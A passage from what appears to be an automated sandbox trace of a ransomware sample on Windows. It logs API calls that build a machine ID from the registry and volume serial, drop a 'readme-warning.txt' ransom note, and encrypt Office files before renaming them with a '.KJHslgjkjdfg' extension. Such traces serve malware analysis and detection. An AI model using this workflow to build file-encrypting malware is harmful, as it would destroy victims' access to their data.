dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.342] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.342] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.342] GetProcessHeap () returned 0x990000 [0164.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.343] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.343] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.343] GetProcessHeap () returned 0x990000 [0164.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.343] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.343] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.343] GetProcessHeap () returned 0x990000 [0164.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.343] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.343] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.343] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.343] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.343] RegCloseKey (hKey=0x114) returned 0x0 [0164.343] GetProcessHeap () returned 0x990000 [0164.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.343] GetProcessHeap () returned 0x990000 [0164.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.343] GetProcessHeap () returned 0x990000 [0164.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.344] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.344] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.344] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.344] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.344] GetProcessHeap () returned 0x990000 [0164.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.344] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.344] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.344] GetProcessHeap () returned 0x990000 [0164.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.344] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt") returned 113 [0164.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.347] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.348] CloseHandle (hObject=0x114) returned 1 [0164.348] GetProcessHeap () returned 0x990000 [0164.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.348] GetProcessHeap () returned 0x990000 [0164.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.348] GetProcessHeap () returned 0x990000 [0164.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.349] GetProcessHeap () returned 0x990000 [0164.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.349] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.349] GetProcessHeap () returned 0x990000 [0164.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.349] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0164.349] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0164.349] GetProcessHeap () returned 0x990000 [0164.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xca) returned 0x9b2468 [0164.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.352] GetProcessHeap () returned 0x990000 [0164.352] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.352] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.352] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0164.352] GetProcessHeap () returned 0x990000 [0164.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2cc) returned 0x9b7e10 [0164.352] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0164.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.353] GetProcessHeap () returned 0x990000 [0164.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.353] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.353] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xb, lpOverlapped=0x0) returned 1 [0164.356] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.356] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.356] GetProcessHeap () returned 0x990000 [0164.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.357] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.357] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.357] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.357] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.357] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.357] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.357] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.357] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.357] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.357] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x91975, lpOverlapped=0x0) returned 1 [0164.366] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x91980, dwBufLen=0x91980 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x91980) returned 1 [0164.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.371] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x91980, lpOverlapped=0x0) returned 1 [0164.373] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.373] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.373] SetEndOfFile (hFile=0x114) returned 1 [0164.376] GetProcessHeap () returned 0x990000 [0164.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.376] GetProcessHeap () returned 0x990000 [0164.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0164.377] CloseHandle (hObject=0x114) returned 1 [0164.377] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0164.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.379] GetProcessHeap () returned 0x990000 [0164.379] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.379] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.379] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0164.382] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.382] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.382] GetProcessHeap () returned 0x990000 [0164.382] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.382] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.383] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.383] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.383] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.383] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.383] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.383] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.383] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.383] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.383] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x11644, lpOverlapped=0x0) returned 1 [0164.385] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x11650, dwBufLen=0x11650 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x11650) returned 1 [0164.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.386] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x11650, lpOverlapped=0x0) returned 1 [0164.386] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.386] SetEndOfFile (hFile=0x114) returned 1 [0164.389] GetProcessHeap () returned 0x990000 [0164.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.389] GetProcessHeap () returned 0x990000 [0164.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.kjhslgjkjdfg")) returned 1 [0164.392] CloseHandle (hObject=0x114) returned 1 [0164.392] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0164.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.392] GetProcessHeap () returned 0x990000 [0164.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.393] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.393] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xb, lpOverlapped=0x0) returned 1 [0164.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.395] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.395] GetProcessHeap () returned 0x990000 [0164.395] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.395] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.395] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.396] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.396] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.396] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.396] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.397] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.397] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, 